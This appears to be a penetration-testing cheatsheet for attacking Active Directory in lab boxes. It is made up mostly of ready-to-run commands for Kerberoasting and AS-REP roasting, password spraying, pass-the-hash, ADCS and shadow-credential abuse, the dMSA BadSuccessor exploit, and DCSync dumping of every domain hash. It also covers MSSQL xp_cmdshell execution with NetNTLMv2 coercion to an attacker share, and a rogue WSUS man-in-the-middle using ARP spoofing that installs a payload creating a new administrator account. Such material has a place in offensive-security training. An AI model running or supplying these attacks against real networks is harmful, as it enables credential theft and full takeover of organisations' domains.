Active Directory, Attacks & Escalation Cheatsheet

This is the payoff: turn enumeration into tickets, hashes and eventually a DCSync. AS-REP roast anything without pre-auth, Kerberoast every SPN, then use whatever cracks to move up, and if you reach DCSync rights, dump the whole domain.

Clock skew & Kerberos time#

Kerberos rejects tickets when my Kali clock drifts more than five minutes from the DC, which shows up as KRB_AP_ERR_SKEW (Clock Skew Too Great). The old fix is faketime, but it needs the exact DC time hardcoded. skewrun resolves the DC time over CLDAP/SMB/NTP/Kerberos and wraps any command with libfaketime, so I never touch my system clock or guess an offset. Just prefix the command with skewrun <box>.htb --.

bash

# install (static binary, no root needed to run it)
wget https://github.com/JVBotelho/skewrun/releases/latest/download/skewrun-x86_64-linux-musl -O /usr/local/bin/skewrun && chmod +x /usr/local/bin/skewrun
sudo apt-get install -y libfaketime

# wrap any clock-sensitive AD tool, skewrun auto-syncs to the DC time
skewrun <DC-IP> -- impacket-GetUserSPNs <dom>.htb/<user>:'<pass>' -dc-ip <DC-IP> -request
skewrun <DC-IP> -- impacket-getST -dc-ip <DC-IP> -dmsa -impersonate '<dmsa>$' <dom>.htb/<user>:'<pass>'
skewrun <DC-IP> -- netexec smb <DC-IP> -u <user> -p '<pass>'

# just print the measured offset, or supply one offline
skewrun <DC-IP> --print-offset
skewrun --offset '+8h00m00s' -- impacket-getTGT <dom>.htb/<user>:'<pass>'

Roasting & spraying#

No-creds AS-REP roast, credentialed Kerberoast, then spray whatever you crack across the domain.

bash

# AS-REP roast (accounts with pre-auth disabled) — no creds needed
impacket-GetNPUsers <dom>.htb/ -usersfile users.txt -dc-ip <DC-IP> -no-pass

# Kerberoast every SPN with a valid credential
impacket-GetUserSPNs <dom>.htb/<user>:<pass> -dc-ip <DC-IP> -request

# password spray a cracked password across the domain
netexec smb <DC-IP> -u users.txt -p '<Pass123>' --continue-on-success

Pass-the-hash, ADCS & DCSync#

Move with a hash instead of a password, abuse a vulnerable certificate template, and finish with a DCSync that dumps every hash in the domain.

bash

# pass-the-hash instead of a password, everywhere it is accepted
netexec smb <targets> -u <user> -H <NThash>
evil-winrm -i <IP> -u <user> -H <NThash>

# targeted kerberoast / GenericWrite abuse via bloodyAD or targetedKerberoast
bloodyAD --host <DC-IP> -d <dom>.htb -u <user> -p <pass> set password <victim> 'New1!'

# ADCS misconfig (ESC1/ESC8) — find and abuse vulnerable templates
certipy find -u <user>@<dom>.htb -p <pass> -dc-ip <DC-IP> -vulnerable
certipy req -u <user>@<dom>.htb -p <pass> -ca <CA> -template <tmpl> -upn administrator@<dom>.htb

# the endgame: DCSync the domain and dump every hash
impacket-secretsdump <dom>.htb/<user>:<pass>@<DC-IP>
impacket-secretsdump <dom>.htb/<user>@<DC-IP> -hashes :<NThash> -just-dc

# log in with the Administrator hash you just pulled
evil-winrm -i <DC-IP> -u Administrator -H <NThash>

ADCS abuse#

AD CS is usually the fastest road to Domain Admin, and the misconfigurations are catalogued as ESC1 to ESC13. The one-liner below flags every one of them, and the full breakdown, requester-supplied SAN, CA-role abuse, the ESC8/ESC11 relay, certificate-mapping bypass and issuance-policy group links, lives on its own page: ADCS / ESC1 to ESC13.

bash

# classify every template and CA against the whole ESC catalogue
certipy find -u <user>@<dom>.htb -p <pass> -dc-ip <DC-IP> -vulnerable -stdout

Shadow credentials & dMSA#

When BloodHound shows AddKeyCredentialLink over a target, run the shadow-credential flow to recover its NT hash via PKINIT. On Server 2025, CreateChild/WriteProperty over a dMSA’s OU is the BadSuccessor (dMSA Ouroboros) primitive, the dMSA inherits its “predecessor” account’s privileges.

bash

# shadow credentials: add key -> PKINIT -> recover NT hash (works with -hashes too)
certipy shadow auto -u '<owner>@<dom>.htb' -hashes ':<NThash>' \
  -account '<target>' -dc-ip <DC-IP>
# manual variant with pywhisker + gettgtpkinit + PKINITtools
pywhisker.py -d <dom>.htb -u <owner> -H <NThash> --target <target> --action add

# dMSA BadSuccessor / Ouroboros — impersonate the predecessor account
python3 bad_successor.py -d <dom>.htb -u <owner> -H <NThash> -dc-ip <DC-IP> --target <victim>

MSSQL coercion & xp_cmdshell#

A sysadmin MSSQL login is a foothold: coerce its service account’s NetNTLMv2 with xp_dirtree to a UNC you control, or flip on xp_cmdshell for direct execution. Pair with a potato when the account holds SeImpersonate.

bash

# connect (Windows auth); domain\user or SQL login
impacket-mssqlclient '<dom>/<user>:<pass>@<IP>' -p 1433 -windows-auth

# coerce NetNTLMv2 to responder/ntlmrelayx, then crack -m 5600
SQL> EXEC xp_dirtree '\\<LHOST>\share', 1, 1;

# enable + use xp_cmdshell (needs sysadmin)
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami /priv';

Rogue WSUS MITM#

A client that trusts its WSUS server (8530/8531) will install anything it is handed. MITM the client→WSUS path and serve a fake “critical update” that runs as SYSTEM, see GoSecure pywsus. Needs a cert whose subject is the real WSUS host (e.g. an ADCS WEBSERVER template).

bash

# 1. rogue WSUS serving a local-admin payload (present the DC's cert on 8531)
python3 pywsus.py -H <my_ip> -p 8530 -c dc01.crt -k dc01.key -e PsExec.exe \
  -a '-accepteula -s -d cmd.exe /c "net user svc_patch P@tch! /add && net localgroup Administrators svc_patch /add"'

# 2. bend traffic to me: ARP poison + DNS hijack the WSUS name
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t <client> <dc>  &   arpspoof -i eth0 -t <dc> <client> &
# scapy responder answers the WSUS A record with my IP

# 3. from a shell on the client, point it at me and force a scan
Set-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate WUServer "https://<wsus>:8531"
Restart-Service wuauserv; (New-Object -ComObject Microsoft.Update.AutoUpdate).DetectNow()